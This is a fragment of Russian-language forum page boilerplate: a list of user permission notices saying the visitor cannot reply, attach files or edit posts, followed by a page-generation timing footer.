  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00135 seconds with 16 queries